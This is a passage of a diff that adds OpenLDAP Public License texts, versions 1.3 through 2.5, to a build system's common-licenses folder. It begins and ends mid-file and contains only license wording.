+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.3 b/meta/files/common-licenses/OLDAP-1.3
new file mode 100644
index 0000000000..f19e722f32
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.3
@@ -0,0 +1,62 @@
+The OpenLDAP Public License
+Version 1.3, 17 January 1999
+
+Copyright 1998-1999, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As significant differences exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the behavior of the Package in any way that would cause it to fail the regression tests for the Package.
+
+8. Software supplied by you and linked with this Package in order to use subroutines and variables defined by this Package shall not be considered part of this Package and do not automatically fall under the copyright of this Package, and the executables produced by linking your software with this Package may be used and redistributed without restriction and may be sold commercially.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.4 b/meta/files/common-licenses/OLDAP-1.4
new file mode 100644
index 0000000000..4267f1421e
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.4
@@ -0,0 +1,62 @@
+The OpenLDAP Public License
+Version 1.4, 18 January 1999
+
+Copyright 1998-1999, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As significant differences exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the behavior of the Package in any way that would cause it to fail the regression tests for the Package.
+
+8. Software supplied by you and linked with this Package in order to use subroutines and variables defined by this Package shall not be considered part of this Package and do not automatically fall under the copyright of this Package. Executables produced by linking your software with this Package may be used and redistributed without restriction and may be sold commercially so long as the primary function of your software is different than the package itself.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-2.0 b/meta/files/common-licenses/OLDAP-2.0
new file mode 100644
index 0000000000..8c460cb788
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.0
@@ -0,0 +1,18 @@
+The OpenLDAP Public License
+Version 2.0, 7 June 1999
+
+Copyright 1999, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a registered trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.0.1 b/meta/files/common-licenses/OLDAP-2.0.1
new file mode 100644
index 0000000000..c04920e943
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.0.1
@@ -0,0 +1,18 @@
+The OpenLDAP Public License
+Version 2.0.1, 21 December 1999
+
+Copyright 1999, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.1 b/meta/files/common-licenses/OLDAP-2.1
new file mode 100644
index 0000000000..4f461fe869
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.1
@@ -0,0 +1,20 @@
+The OpenLDAP Public License
+Version 2.1, 29 February 2000
+
+Copyright 1999-2000, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation. For written permission, please contact foundation@openldap.org.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation. OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent license revision.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/OLDAP-2.2 b/meta/files/common-licenses/OLDAP-2.2
new file mode 100644
index 0000000000..24446fd529
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.2, 1 March 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000, The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.2.1 b/meta/files/common-licenses/OLDAP-2.2.1
new file mode 100644
index 0000000000..3fd04859b8
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2.1
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.2.1, 1 March 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+4. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+5. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.2.2 b/meta/files/common-licenses/OLDAP-2.2.2
new file mode 100644
index 0000000000..f466cdcc51
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.2.2
@@ -0,0 +1,24 @@
+The OpenLDAP Public License
+Version 2.2.2, 28 July 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+5. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+6. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+7. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.3 b/meta/files/common-licenses/OLDAP-2.3
new file mode 100644
index 0000000000..ebfc7f8efa
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.3
@@ -0,0 +1,24 @@
+The OpenLDAP Public License
+Version 2.3, 28 July 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The name "OpenLDAP" must not be used to endorse or promote products derived from this Software without prior written permission of the OpenLDAP Foundation.
+
+5. Products derived from this Software may not be called "OpenLDAP" nor may "OpenLDAP" appear in their names without prior written permission of the OpenLDAP Foundation.
+
+6. Due credit should be given to the OpenLDAP Project (http://www.openldap.org/).
+
+7. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.4 b/meta/files/common-licenses/OLDAP-2.4
new file mode 100644
index 0000000000..353a553f2a
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.4
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.4, 8 December 2000
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. Due credit should be given to the OpenLDAP Project.
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
+THIS SOFTWARE IS PROVIDED BY THE OPENLDAP FOUNDATION AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OPENLDAP FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+OpenLDAP is a trademark of the OpenLDAP Foundation.
+
+Copyright 1999-2000 The OpenLDAP Foundation, Redwood City, California, USA. All Rights Reserved. Permission to copy and distributed verbatim copies of this document is granted.
diff --git a/meta/files/common-licenses/OLDAP-2.5 b/meta/files/common-licenses/OLDAP-2.5
new file mode 100644
index 0000000000..98e78e3c7d
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-2.5
@@ -0,0 +1,22 @@
+The OpenLDAP Public License
+Version 2.5, 11 May 2001
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices.
+
+2. Redistributions in binary form must reproduce applicable copyright statements and notices, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions must contain a verbatim copy of this document.
+
+4. The names and trademarks of the authors and copyright holders must not be used in advertising or otherwise to promote the sale, use or other dealing in this Software without specific, written prior permission.
+
+5. Due credit should be given to the authors of the Software.
+
+6. The OpenLDAP Foundation may revise this license from time to time. Each revision is distinguished by a version number. You may use the Software under terms of this license revision or under the terms of any subsequent revision of the license.
+
